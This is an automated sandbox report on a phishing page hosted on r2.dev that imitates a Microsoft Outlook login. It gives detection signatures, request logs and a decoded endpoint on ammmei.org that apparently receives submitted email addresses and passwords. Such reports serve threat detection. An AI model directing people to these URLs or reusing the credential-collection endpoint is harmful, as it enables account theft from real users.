Edit tour

Windows Analysis Report
https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html

Overview

General Information

Sample URL:	https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html
Analysis ID:	1446996
Infos:

Detection

HTMLPhisher

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Phishing site detected (based on favicon image match)

Yara detected HtmlPhish10

AI detected suspicious javascript

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

HTML body with high number of embedded images detected

HTML page contains hidden URLs or javascript code

HTML title does not match URL

Invalid 'forgot password' link found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 1184 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4432 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2376,i,2643705326903378246,2969051248873506145,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6404 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
1.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html

LLM: Score: 9 brands: Microsoft Reasons: The URL 'https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html' does not match the legitimate domain name associated with Microsoft (e.g., microsoft.com or outlook.com). The page mimics the Microsoft login page, which is a common social engineering technique used in phishing attacks. The domain 'r2.dev' is not associated with Microsoft, making it highly suspicious. DOM: 0.1.pages.csv

Phishing site detected (based on favicon image match)

Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html	Matcher: Template: microsoft matched with high similarity
Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html#	Matcher: Template: microsoft matched with high similarity

Yara detected HtmlPhish10

Source: Yara match	File source: 1.2.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML

AI detected suspicious javascript

Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html

LLM: Score: 8 Reasons: The code contains several red flags indicative of phishing attempts: 1) It sets the document title to 'Sign in to Outlook', which is a common tactic used by phishing sites to mimic legitimate login pages. 2) It uses base64 encoding/decoding (atob/btoa) to handle URLs and email addresses, which is often used to obfuscate malicious intent. 3) It posts user data (including email) to a URL that is dynamically decoded from a base64 string, which could be a malicious endpoint. 4) It dynamically updates the page content based on responses from the server, which could be used to display fake information to the user. These behaviors are consistent with phishing sites attempting to steal user credentials. DOM: 0.1.pages.csv

Phishing site detected (based on image similarity)

Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html	Matcher: Template: microsoft matched
Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html#	Matcher: Template: microsoft matched

Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html	HTTP Parser: Number of links: 0
Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html#	HTTP Parser: Number of links: 0

Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html	HTTP Parser: <input type="password" .../> found but no <form action="...
Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html#	HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html	HTTP Parser: Total embedded image size: 31111
Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html#	HTTP Parser: Total embedded image size: 31111

Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html

HTTP Parser: Base64 decoded: https://ammmei.org/wysaa/host2.4/a9c32bc.php

Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html	HTTP Parser: Title: Sign in to Outlook does not match URL
Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html#	HTTP Parser: Title: Sign in to Outlook does not match URL

Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html	HTTP Parser: Invalid link: Forgot my password
Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html#	HTTP Parser: Invalid link: Forgot my password

Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html	HTTP Parser: <input type="password" .../> found
Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html#	HTTP Parser: <input type="password" .../> found

Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html

HTTP Parser: No favicon

Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html	HTTP Parser: No <meta name="author".. found
Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html#	HTTP Parser: No <meta name="author".. found

Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html	HTTP Parser: No <meta name="copyright".. found
Source: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html#	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 23.43.61.160:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.43.61.160:443 -> 192.168.2.4:49745 version: TLS 1.2

Source: global traffic

TCP traffic: 192.168.2.4:51212 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 104.46.162.224
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /0nlinedoc.html HTTP/1.1Host: pub-a2527e0fc1774b399011ecd14755d452.r2.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wysaa/host2.4/admin/js/sc.php HTTP/1.1Host: ammmei.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: pub-a2527e0fc1774b399011ecd14755d452.r2.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/4.7.0/css/font-awesome.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://pub-a2527e0fc1774b399011ecd14755d452.r2.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_sms_27a6d18b56f46818420e60a773c36d4e.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_call_fe87496cc7a44412f7893a72099c120a.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wysaa/host2.4/a9c32bc.php HTTP/1.1Host: ammmei.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_b59c16ca9bf156438a8a96d45e33db64.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_sms_27a6d18b56f46818420e60a773c36d4e.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_call_fe87496cc7a44412f7893a72099c120a.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_b59c16ca9bf156438a8a96d45e33db64.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wysaa/host2.4/a9c32bc.php HTTP/1.1Host: ammmei.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=f356707990d0aa74eebadd0bb2c33c77
Source: global traffic	HTTP traffic detected: GET /wysaa/host2.4/a9c32bc.php HTTP/1.1Host: ammmei.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=f356707990d0aa74eebadd0bb2c33c77

Source: global traffic	DNS traffic detected: DNS query: pub-a2527e0fc1774b399011ecd14755d452.r2.dev
Source: global traffic	DNS traffic detected: DNS query: ammmei.org
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /wysaa/host2.4/a9c32bc.php HTTP/1.1Host: ammmei.orgConnection: keep-aliveContent-Length: 16sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: */*Content-Type: application/x-www-form-urlencoded; charset=UTF-8sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://pub-a2527e0fc1774b399011ecd14755d452.r2.devSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 24 May 2024 05:45:23 GMTContent-Type: text/htmlContent-Length: 27242Connection: closeServer: cloudflareCF-RAY: 888afaaffccb43b2-EWR

Source: chromecache_56.2.dr	String found in binary or memory: http://fontawesome.io
Source: chromecache_56.2.dr	String found in binary or memory: http://fontawesome.io/license
Source: chromecache_57.2.dr	String found in binary or memory: https://ammmei.org/wysaa/host2.4/admin/js/sc.php
Source: chromecache_54.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Source: manifest.json.0.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chromecache_62.2.dr	String found in binary or memory: https://developers.cloudflare.com/r2/data-access/public-buckets/
Source: chromecache_62.2.dr	String found in binary or memory: https://www.cloudflare.com/favicon.ico

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51214 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51214
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 23.43.61.160:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.43.61.160:443 -> 192.168.2.4:49745 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1184_1756839512	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1184_1756839512\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1184_1756839512\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1184_1756839512\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1184_1756839512\manifest.fingerprint	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\chrome_BITS_1184_1104896314

Jump to behavior

Source: classification engine

Classification label: mal76.phis.win@17/24@12/9

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2376,i,2643705326903378246,2969051248873506145,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2376,i,2643705326903378246,2969051248873506145,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
